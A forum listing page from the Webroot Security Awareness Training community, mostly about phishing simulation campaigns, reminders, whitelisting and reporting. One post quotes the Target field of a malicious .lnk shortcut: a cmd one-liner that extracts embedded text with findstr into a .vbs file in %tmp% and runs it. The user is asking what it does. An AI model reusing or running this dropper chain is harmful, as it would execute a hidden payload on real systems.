Webroot® Security Awareness Training
Welcome to the Security Awareness Training Discussion Forum!
- 51 Topics
- 159 Replies
Dear Webroot Community Team,I hope this topic finds you well.1. I created two simulation campaigns for customers and chosen the following Reminders options: * Selected 1 day to randomize the delivery of phishing emails. * Selected time frame in which phishing emails will be randomly delivered.2. Another training campaign has been created for a customer with the Reminders option selected to apply to those users who had not passed or completed the required training module.All these campaign was launched after the success test. However, the reminder option of these campaigns worked correctly one day only. This means either Phishing Email or Invitation Email were delivered only one time. Then, these campaigns stopped delivering them all instead of continuing the delivery as planed.For the attached screenshots of details, please see the ticket #398411 was raised for a while.Could you please help me to clarify this issue soon and let me know what steps I should take to solve it
After the phishing email is delivered, when a user clicks on a click in the email, MS Defender stops the link from going to WebRoot landing page. The page is blocked stating: This website has been classified as malicious.Opening this website might not be safe.https://na01.safelinks.protection... you don't open this website, as opening it might not be safe and could harm your computer or result in malicious use of your personal data. Where is the setting to bypass/override this?
I may be missing something when creating target tags in Security Awareness Traiining. What I thought would happen is I could create a list of tags and apply them to targets (users) when needed.What I found was a bit clunky. I had to select an existing user, add a tag, and then apply the tag to that user. If I removed the tag from the user, the tag was no longer in the list of tags. For example, I tagged one user as newemp and another as csuite. Both tagswere in the tag list. When I removed the csuite tag from the user, it was no longer in the list.
One of the tools I provide for a number of my clients, is an anti-spam service, which blocks pretty much all of the Security Awareness emails out of hand. If I’m trying to help them learn how to avoid phishing emails, though, I’d really want them to be able to receive those emails, instead of them just going to the junk bin.When I tested out a different company’s version of this, the way we got around it was to load up a list of the domains used by the testing system, and whitelist them all, to make sure that the users actually got the messages. Is there a way to get such a list for this? Because otherwise, this isn’t going to be particularly valuable to my clients.
I haven't auto setup the reminder email while creating the training campaign whereas I found this ‘Send Reminder Now’ button under the launched Training campaign.Is there a way to find to whom the Reminder emails are sent when you click the ‘Send Reminder Now’ in the Reports.I would like to extract the list of targets who haven’t completed the training and the reminder emails need to be sent to them.
Dear Webroot Community Team,I hope this topic finds you well. I created a training campaign for a customer and selected the Reminders option to apply to those users who had not completed the required training module. Then, this campaign was launched.However, I had to cancel this campaign in order to update new information for customer. Although the campaign was cancelled (the link made inactive), its reminder option was not terminated.Hence, the incomplete targets will most likely experience an annoyance as the invitation email still being sent out. It was really painful experience. Could you please help me to clarify this issue and let me know what steps I should take to this issue?I would very much appreciate your support. Best wishes
One of our core commitments when we began developing Webroot® Security Awareness Training was to remain relevant. We pledged to continuously develop content that reflected the latest threats faced by businesses and users as they arose. One of the most significant challenges we’ve seen since the launch of our user training tool has been the shift to remote workforces forced by the novel coronavirus outbreak. It’s dealt a serious blow to the cyber resilience of many organizations and is something, we felt, needed to be addressed. We’re happy to announce that a course designed to do just that is now available. It’s a guide for organizations and their users to maintain their cyber resilience with dispersed workforces, and we hope you’ll enroll. Why bother developing a Cyber Resilience while Working from Home Course? Cybercriminals know many remote workforces are no longer always under the watchful eyes of IT teams. They know some are even working from their own devices, often outsid
I have mentioned this to our sales reps several times to pass on but after almost 2 years of using this product it still isn’t a thing so I’ll post here. My contract is up in August and if I see no plans for improvement then I’ll be moving to Knowbe4. -------Feedback------- When we run a campaign for a client we do it monthly. We’ll make our own phishing templates or use the built in ones. When the campaign is over I am required to provide a report to my client on the breakdown of what users did what. What I currently have to do is download the simulation stats PDF from the dashboard which provides the most basic readout of what occurred. I image clip the graph image and save it and place it in my own report. I then have to download the stats in .csv form which gives me the user breakdown. The .csv sheet is all the data I need for the customer but I am not going to send a client who is paying for this a .csv that is unreadable to a regular user. So I take what Webroot can give us
Hello Webroot Community! I hope you are staying safe and sane during this historic time of disruption. As the Content Development Specialist for WSAT, my goal is to provide you with valuable Safety Awareness content based on real-world threats. I hope you are pleased with this month’s WSAT content update. Highlights of this month’s release are: Three COVID-related phishing templates We’re seeing an above-average 12% clickthrough rate on these, emphasizing how important it is to warn your users about these scams. Social Engineering training course You’ll want to make this your topical training for the month, and part of your core security training going forward. Zeppelin Ransomware Security Briefing This is the first in a planned series using a new training format. Webroot Security Briefings are 2-minute videos designed to quickly inform your end users of notable trends and issues identified by the Webroot Threat Intel team. This quick, entertaining format does not feature any kno
Afternoon all, just wondering if anyone in Australia or New Zealand has encountered issues around logo use etc when creating phishing emails. It seems that fair use etc may allow some use (according to a few US articles), but we don’t want to inadvertently damage anyone’s reputation if an email makes it to social media etc. All links going to an obvious education page etc should make things OK within target clients, but I am still concerned about any potential blow-back on us, our clients and the companies if we use a logo etc. without prior approval. I know the bad people don’t care as I’ve just seen a bank phishing attempt that was very well put together and a fake invoice email trail complete with payment request, but actively approaching a company and explaining what we are doing and asking for permission to use their intellectual property is (in my mind) impractical, especially when considering a multi-national with probably more important things on their mind. We will be appro
Hi all, I’ve gone through and created phishing campaigns, custom email templates and so forth with no issues against our internal site (targeting the others in the office). I have made global custom templates and set them to published, but when I try and use them against an actual customer (external) site, they do not appear in either site, system or global for selection. To be clear, they are not visible in the console when I select Settings > Email or if i go through the New Campaign process. I would have thought creating a template with global settings would allow me to pick up that template for use with any site. Am I incorrect in thinking this? Do I need to create custom templates for each client site? Is it possible that because we have our internal site set up as a separate entity from our clients (in Global Site Manager Consoles) that this is the cause? Any advice would be much appreciated. Thanks Franco
Is there a recommended config for setting up a G Suite domain for Security Awareness Training campaigns? As it is now, I have whitelisted the IP address found in the documentation, but this doesn’t prevent G Suite from marking the simulation email with a big RED BANNER warning the user. Would be nice not to have that happen for more effective training.
Is there a way to modify/edit an already created Training Campaign? What i'm after is removing users who already have taken the training on another campaign. Is this possible? Thank you, [i]When setting the Auto-reminder to take training, users are still receiving reminders to complete their training even after completing the training. Is there a way to stop that from occurring?[/i] [i]^[/i] [i]Figured out.[/i]
It is really hard to tell in the interface which targets have taken the training courses and the only way I've found to identify them is to download a spreadsheet and then sort through all the information. The training report cards are inaccurate and the graphs give little information. Are there any plans to improve SAT reporting and dashboard information? Both could be significantly improved
Recently got an email from Chirotouch with a link to their website, that redirects to a different website and downloads a zip file. In the zip is a .ink file with the following info in the "Target" field. Any ideas on what this does? Webroot didn't pick it up, and Virus total says it's clean. %comspec% /c copy YPdhS & (fi^ndst^r "psHPn.*" Print.PDF.lnk > "%tmp%\bUQCg.vbs" & "%tmp%\bUQCg.vbs") & cDulb
Hi there, As an MSP with multiple sites for SAT we are finding a few features missing or lacking currently and wondered anyone is aware if these are planned for future or are already there and we are missing something: [list] [*]The automatic email invites for the training can’t be customised at all currently – it would be better if they could, is that possible? [*]When we run training campaigns and people don’t complete the training there is no way to set the program up to automatically email the users that don’t complete the training. We have to go into each individual user to resend and remind them. Could this not be part of the campaign setup that you can select it to automatically email any users that don’t complete the training. Or even a check each user kind of option to resend to multiple users that haven’t completed instead of having to resend to each user individually? [*]Also if we have a program/campaign running for a company and they get a new starter, we can add them
[h3]Join us for a webinar on Mar 19, 2019 at 11:00 AM MDT.[/h3] [url=https://attendee.gotowebinar.com/register/8212254943859453698][b]Register now![/b][/url] This releases features the deeper integration of Security Awareness Training within Webroot’s Global Site Manager console to further streamline training across multiple users, clients and sites. This webinar will demonstrate all the new updated features and capabilities and is a must for existing users and any SMB or MSP looking for a global training management solution. After registering, you will receive a confirmation email containing information about joining the webinar. [h3][url=https://www.webroot.com/us/en/about/press-room/releases/webroot-integrated-security-awareness]Learn more[/url] about Webroot Security Awareness Training[/h3] [video]https://www.youtube.com/watch?v=GpboGcPocsM[/video]
Starting early April, Webroot® Security Awareness Training will allow administrators to launch global campaigns across one or all clients in a single click—an industry first. Additionally, the solution from [url=https://www.webroot.com/]Webroot[/url], the Smarter Cybersecurity® company, will include Client Breach Reports, updated course content, a new phishing lure page framework and integration with the Webroot Global Site Manager console for streamlined management across multiple users, clients, and sites. The enhancements utilize the power of the Webroot Platform and its continuous threat intelligence analysis, which provides contextual data to the entire Webroot suite of business solutions, including Security Awareness Training, Business Endpoint Protection, and DNS Protection. The Webroot Platform feeds the security training solution with real-world trends and examples to create relevant content. Every Webroot solution is purpose-built to support a layered security approach for m
The content from Teach Privacy is gone from Security Awareness Training. There is not enough security content left. Of the 28 modules 4 are how to use office, 4 are for UK compliance, 2 for Australia, there are 3 for phishing which are micro, mini, full of the same course. There is a data protection module for legislation which is out of date since GDPR came in. There are 5 courses I’m happy to push out to customers: GDPR, Understanding Cyber Security, Ransomware & Cybercrime, Understanding Phishing (full), Understanding Malware (which is an advert for Webroot, so maybe I'm not too happy with that one.) . We have our customers signed up to a subscription service based on security awareness training, we need more security related content. Is there more courseware to come? If so when?
If this is your first time to the Webroot Community, check out our getting started guide for helpful tips and tricks [url=https://community.webroot.com/community-101-2/getting-started-guide-336561]here[/url]. If you have a specific feature request, you can discuss the idea below or submit to the feature requests forum [url=https://community.webroot.com/submit-a-business-feature-request-30]here[/url]. You can also subscribe to our product release page to be notified of releases [url=https://community.webroot.com/business-product-releases-26]here[/url]. Please tell us a little bit about yourself and your experience with Security Awareness Training: [list] [*]About your business and experience with SAT? [*]Is there a particular feature or course/template you would like to see added? [*]Ideas and questions about the product? [/list]
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